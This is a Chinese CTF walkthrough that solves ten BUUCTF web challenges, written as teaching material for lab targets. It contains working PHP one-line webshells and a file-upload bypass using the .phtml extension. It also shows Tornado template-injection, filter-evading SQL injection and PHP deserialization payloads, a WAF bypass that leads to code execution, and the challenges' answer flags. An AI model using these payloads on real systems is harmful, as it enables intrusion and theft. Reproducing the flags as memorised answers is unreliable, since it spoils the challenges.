BUUCTF——Web1

一、[极客大挑战 2019]Http

打开靶机,出现以下页面

查看源代码

 发现Secret.php,访问后出现以下页面

 接着我们使用bp进行抓包

 在请求头中添加

Referer:https://Sycsecret.buuoj.cn

字段发送请求,出现以下页面 

根据提示更改User-Agent为

User-Agent: Syclover

发送请求,出现以下页面 

提示要是来自本地的访问请求,联想到127.0.0.1,需要

X-Forwarded-For: 127.0.0.1 

X-Forwarded-For(XFF)是用来识别通过HTTP代理或负载均衡方式连接到Web服务器的客户端最原始的IP地址的HTTP请求头字段。

出现flag

 flag为

flag{8121414c-8ed4-490e-9d34-351f08b4504b}

 二、[极客大挑战 2019]Knife

打开靶机,出现以下页面

 使用菜刀进行连接

连接成功后,在/flag目录下获得flag

 flag为

flag{b8b99cdb-fdac-4ce1-bec1-d647e1ee47bb}

同理可得,也可用蚁剑进行此操作 

三、[极客大挑战 2019]Upload

打开靶机,出现以下页面

 首先我们尝试上传木马文件

<?php @eval($_POST['yy']); ?> 

我们先将一句话木马写在记事本后,将后缀名改为.jpg 

 提交后出现以下页面,不能含有<?,看来是被过滤了

我们尝试换个一句话木马上传

GIF89a
<script language="php">eval($_POST['shell']);</script> 

再次上传后出现以下页面,说明上传成功

 接着我们进行抓包

 经过多次尝试我们发现,文件的后缀不能为php,文件绕过的格式也有很多格式php,php3,php4,php5,phtml,但是经过尝试后发现只有.phtml此后缀名可绕过,其余均无法绕过,所以我们将上传文件yy.jpg的后缀改为phtml

 查看/upload

找到我们上传的文件yy.phtml

查看/upload/yy.phtml

 

使用蚁剑进行连接,连接成功后

在/flag目录下找到flag

flag为

flag{27541e51-6965-4231-89b8-e9071b3b8b46} 

 四、[护网杯 2018]easy_tornado

打开靶机,出现以下页面

挨着点击三个文件查看

/flag.txt

/welcome.txt 

render()是tornado里的函数,可以生成html模板。是一个渲染函数 ,就是一个公式,能输出前端页面的公式。 tornado是用Python编写的Web服务器兼Web应用框架

  /hints.txt

 /file?filename=/fllllllllllllag&filehash={{1}}

模板注入必须通过传输型如{{xxx}}的执行命令

 通过msg拿到cookie_secret的值

/error?msg={{handler.settings}}

 

提示信息,得到cookie_secret:750eeb79-5711-4775-8086-ed342d0f6b67

然后结合md5(cookie_secret+md5(filename))

即md5('750eeb79-5711-4775-8086-ed342d0f6b67'+md5('/fllllllllllllag'))

filename=/fllllllllllllag的md5:3bf9f6cf685a6dd8defadabfb41a03a1

/file?filename=/fllllllllllllag&filehash=5c912c00167c1f6003856e86486e3622

 出现flag

 flag为:

flag{98c1fb2f-e79a-45d5-8d86-dfef15dbc063}

五、[极客大挑战 2019]BabySQL

 打开靶机,出现以下页面

我们看到这类题首先想到使用万能密码,出现以下页面 

/check.php?username=admin' or '1'='1&password=1

 or关键字被过滤,尝试使用双写进行绕过

/check.php?username=admin' %23&password=1

 接着进行常规的sql注入,这里先进行爆库 

 /check.php?username=admin&password=1 %27 ununionion seselectlect 1,2,database() %23

查找库

/check.php?username=admin&password=admin1%27uniunionon%20selselectect%201%2C2%2Cgroup_concat(schema_name)%20frfromom%20infoorrmation_schema.schemata%20%23

 看到ctf后,我们猜想flag在里面,因此我们尝试将其进行爆破

出现flag字样,为查找里面相应的数据,我们将其进行爆破

/check.php?username=admin&password=1 %27 ununionion seselectlect 1,2,group_concat(flag)frfromom(ctf.Flag) %23 

 出现flag

 flag为:

flag{16a4f98d-23f1-4ad1-ae30-d4de7babfac9}

 六、[极客大挑战 2019]PHP

打开靶机,出现以下页面

提示备份网站,直接扫描目录,得到www.zip
解压得到class.php,index.php,flag.php等源码 

首先我们将flag.php打开查看一下,没有flag,我们将其他几个文件也进行查看

 在index.php文件中发现代码第39行unserialize可能存在反序列化漏洞

 序列化:函数为serialize(),把复杂的数据类型压缩到一个字符串中 数据类型可以是数组,字符串,对象等
反序列化:函数为unserialize(),将字符串转换成变量或对象的过程
常用的内置方法:
__construct():创建对象时初始化,当一个对象创建时被调用
__wakeup() 使用unserialize时触发
__sleep() 使用serialize时触发
__destruction():结束时销毁对象,当一个对象销毁时被调用

 在class.php文件中发现代码中含有__destruct,__construct,__wakeup可以判断存在反序列化漏洞

 执行__destruct()时会输出flag,那么我们需要一个Name对象,所以我们传递一个Name对象序列化后的值
根据__destruct()可以得知,属性password==100,username===admin时可以得到flag

<?php
class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }
}
$a = new Name('admin',100);
echo(serialize($a));
?>

 通过运行得到序列化后的字符串

O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;} 

__wakeup()会将username重新赋值为“guest”,所以我们需要想办法将__wakeup()函数绕过。在反序列化字符串时,属性个数的值大于实际属性个数时,会跳过 __wakeup()函数的执行

原本:O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
绕过:O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

在序列化字符串中,私有属性前其实是有两个’\0’的,分别在类名前和属性名前,比如在vscode里执行这段序列化代码就会出现显示不全的情况,所以我们在传参时要加上’%00’

?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

 出现flag

 flag为:

flag{4c1b5bd0-9506-451e-9792-5a43a4273914}

 七、[ACTF2020 新生赛]BackupFile

打开靶机,出现以下页面 

 查看源码后,发现并没有什么,但是我们根据题目Backup file,翻译成中文就是备份文件的意思

通个扫描发现备份文件/index.php.bak,下载该备份文件信息后,打开发现是源码

 include_once "flag.php";:包含flag文件
$key = $_GET['key'];:需要一个参数key
if(!is_numeric($key)):对key做过滤,
is_numeric:如果指定的变量是数字和数字字符串则返回 TRUE,否则返回 FALSE,注意浮点型返回 1,即 TRUE。
if($key == $str):将key和str做个了比较,这里是弱类型比较。
如果key为数字时,在做==比较时,str字符串自动变为数字,即str=123

要求GET方式传递一个Key值,并且Key必须为数字且等于123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3这一字符串

感觉是考PHP的弱类型特性,int和string是无法直接比较的,php会将string转换成int然后再进行比较,转换成int比较时只保留数字,第一个字符串之后的所有内容会被截掉

根据上述条件,构造出payload:

/index.php?key=123

 出现flag

flag为:

flag{4045b91f-9e38-4715-ad81-912ee1656071} 

八、[RoarCTF 2019]Easy Calc 

打开靶机,出现以下页面

 我们打开源代码

尝试访问这个calc.php,发现多行匹配过滤了一部分特殊符号,但是实际访问时,发现字母全部被拦截了,看来是上了层WAF

绕过waf对num的检测,(num前面需要加上空格)

利用PHP的字符串解析特性

/calc.php? num=phpinfo() 

成功绕过waf,对于waf的绕过,由于php在执行的时候会自动忽略掉空格字符,包含换行回车等,而waf不可以,所以可以构造一个payload为 

利用scandir()列出目录和文件,var_dump()用于输出

/calc.php? num=var_dump(scandir(chr(47)))

var_dump() 函数用于输出变量的相关信息。 var_dump() 函数显示关于一个或多个表达式的结构信息,包括表达式的类型与值。数组将递归展开值,通过缩进显示其结构。

var_dump()相当于echo

scandir()扫描目录下的文件,scandir(/)相当于ls /

chr(47) 是  /  的ASCII编码

尝试访问flag文件,出现flag

一、利用file_get_contents()读取并输出文件内容

/calc.php/=chr(47),f=chr(102),l=chr(49),a=chr(97),g=chr(103),g=chr(103) ? num=print_r(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))); 

二、 

/calc.php? num=var_dump(include(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))) 

flag为:

flag{fb285683-4047-44a0-a696-b46023eb42d2} 

九、[极客大挑战 2019]BuyFlag 

打开靶机,出现以下页面

查看源代码,出现两个php(index.php,pay.php)

 index.php

  pay.php

 查看源代码

提示money=100000000,password == 404

is_numeric来判断password是否为数字或数字字符串,导致我们给password传入的参数只能为字符串类型的

is_numeric()函数检测字符串是否只由数字组成,如果字符串中只包括数字,就返回Ture,否则返回False

$password == 404,在PHP中==是一种弱类型比较,即只取字符串中开头的整数部分进行比较。

必须提交money和password 两个参数

password不可以为纯数字,但是它要与404相等

isset()函数是用来检验变量是否被设置的

 使用bp抓包

 变更请求方法

将Cookie:user=0改为1,表示是学生

然后添加money和password的值
password=404 &money=100000000

password=404a或password = 404%20(相当于在404后面加了一个空格,其他空白字符也可以绕过)就可以了,既绕过了is_numeric()又完成了password的匹配

 回显数字太长,就换一个表示方式

1、科学计数法绕过money=1e9

2、数组绕过money[]=1

出现flag

flag为:


flag{c8729030-540e-4306-878b-d5ced3d0ce6c} 

 十、[BJDCTF2020]Easy MD5

打开靶机,出现以下页面

使用bp进行抓包,出现提示

Hint: select * from 'admin' where password=md5($pass,true)

md5(string,raw)

string:必需,要计算的字符串

raw:可选

         默认不写为FALSE。32位16进制的字符串

         TRUE。16位原始二进制格式的字符串

 Hint是md5类型的sql注入

password经过md5加密,有true参数以字符串形式显示出来

首先我们要找到一个字符串,这个字符串经过md5得到的16位原始二进制的字符串能帮我们实现sql注入

取32位16进制的md5值里带有276f7227这个字段的

ffifdyop经过md5加密后为276f722736c95d99e921722cf9ed621c

ffifdyop经过md5加密后,使用hex解码可以转换为'or'

MySQL默认将十六进制数转换为hex()

..md5的强连接和弱连接使用数组绕过

 输入框内输入ffifdyop

 出现以下页面

进行抓包或者是查看源代码,出现以下内容

<!--
$a = $GET['a'];
$b = $_GET['b'];

if($a != $b && md5($a) == md5($b)){
    // wow, glzjin wants a girl friend.
-->

根据返回的信息的提示,需要绕过的是md5的弱等于,它的要求是变量1和变量2要求不相等,然而,通过md5加密后的结果要进行相等
使用数组进行绕过

 /levels91.php?a[]=1&b[]=2 

<?php
error_reporting(0);
include "flag.php";

highlight_file(__FILE__);

if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
    echo $flag;
}

 使用数组绕过

param1[]=1&param2[]=2

 变更请求方法,出现flag 

双等号(==):两个等号称为等值符,当等号两边的值为相同数据类型时,直接比较值是否相同,当类型不同时会发生数据类型的转换,转换为相同的类型后再进行比较。(通常在if判断语句中使用) 

 (1)如果等号两边是boolean、string、number三者中任意两者进行比较时,优先转换为数字进行比较。

( 2)如果等号两边出现了null或undefined,null和undefined除了和自己相等,就彼此相等

三等号(===):三个等号称为绝对等同符,既要判断数值也要判断数据类型是否相等,当等号两边的值为相同数据类型时,直接比较等号两边的值,值相同则返回true;若等号两边的值类型不同时直接返回false。

flag为:

flag{80ec0969-e689-4639-b761-becb307188af}